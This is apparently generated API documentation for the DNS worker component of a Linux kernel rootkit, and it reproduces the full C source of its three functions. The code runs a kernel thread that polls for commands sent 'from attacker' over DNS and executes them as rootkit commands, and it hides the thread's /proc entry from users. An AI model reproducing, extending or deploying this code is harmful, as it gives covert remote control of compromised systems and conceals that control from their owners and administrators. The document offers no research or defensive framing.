#include "hide_api.h"
#include "network.h"

Include dependency graph for dns/worker.c:

Functions
static int	dns_worker (void *data)
	Kernel thread function to process DNS-based commands.

int	start_dns_worker (void)
	Starts the DNS worker kernel thread.

int	stop_dns_worker (void)
	Stops the DNS worker kernel thread.

Variables
static struct task_struct *	dns_worker_thread = NULL

Function Documentation

◆ dns_worker()

static int dns_worker ( void * data )

static

Kernel thread function to process DNS-based commands.

This function runs in a loop as a kernel thread. It waits for commands sent over DNS, processes them, and executes the corresponding rootkit commands. The thread periodically sleeps for a defined interval to avoid busy-waiting.

Parameters

data	Unused parameter, passed as NULL.

Returns: Always returns 0 upon thread termination.

Definition at line 17 of file dns/worker.c.

                                  {
    char cmd_buf[RCV_CMD_BUFFER_SIZE / 2];
 
    while (!kthread_should_stop()) {
        int len = dns_receive_command(cmd_buf, sizeof(cmd_buf));
        if (len > 0) {
            // Send the response of command over DNS
            DBG_MSG("dns_worker: got commmand from attacker '%s'\n", cmd_buf);
            rootkit_command(cmd_buf, len + 1, DNS);
        }
 
        // Sleep for a defined interval to avoid busy-waiting
        msleep(DNS_POLL_INTERVAL_MS);
    }
    return 0;
}

◆ start_dns_worker()

int start_dns_worker ( void )

Starts the DNS worker kernel thread.

This function initializes and starts a kernel thread that listens for commands sent over DNS. If the thread is already running, it returns an error code indicating that the resource is busy.

Returns: SUCCESS (0) on successful thread creation.; -EBUSY if the thread is already running.; Negative error code if thread creation fails.

Definition at line 45 of file dns/worker.c.

                           {
    if (dns_worker_thread && !IS_ERR(dns_worker_thread))
        return -EBUSY;
 
    // Create the DNS worker thread
    dns_worker_thread = kthread_run(dns_worker, NULL, DNS_WORKER_THREAD_NAME);
    if (IS_ERR(dns_worker_thread))
        return PTR_ERR(dns_worker_thread);
 
    // Hide the thread from the user
    char path[32] = { 0 };
    snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
    hide_file(path);
 
    return SUCCESS;
}

◆ stop_dns_worker()

int stop_dns_worker ( void )

Stops the DNS worker kernel thread.

This function stops the running DNS worker thread and cleans up its resources. If the thread is not running, it returns an error code indicating invalid operation.

Returns: SUCCESS (0) on successful thread termination.; -EINVAL if the thread is not running or is invalid.

Definition at line 72 of file dns/worker.c.

                          {
    if (!dns_worker_thread || IS_ERR(dns_worker_thread))
        return -EINVAL;
 
    // Remove the hidden directory associated with the thread
    char path[32] = { 0 };
    snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
    unhide_file(path);
 
    // Stop the DNS worker thread
    kthread_stop(dns_worker_thread);
    dns_worker_thread = NULL;
 
    return SUCCESS;
}

Variable Documentation

◆ dns_worker_thread

struct task_struct* dns_worker_thread = NULL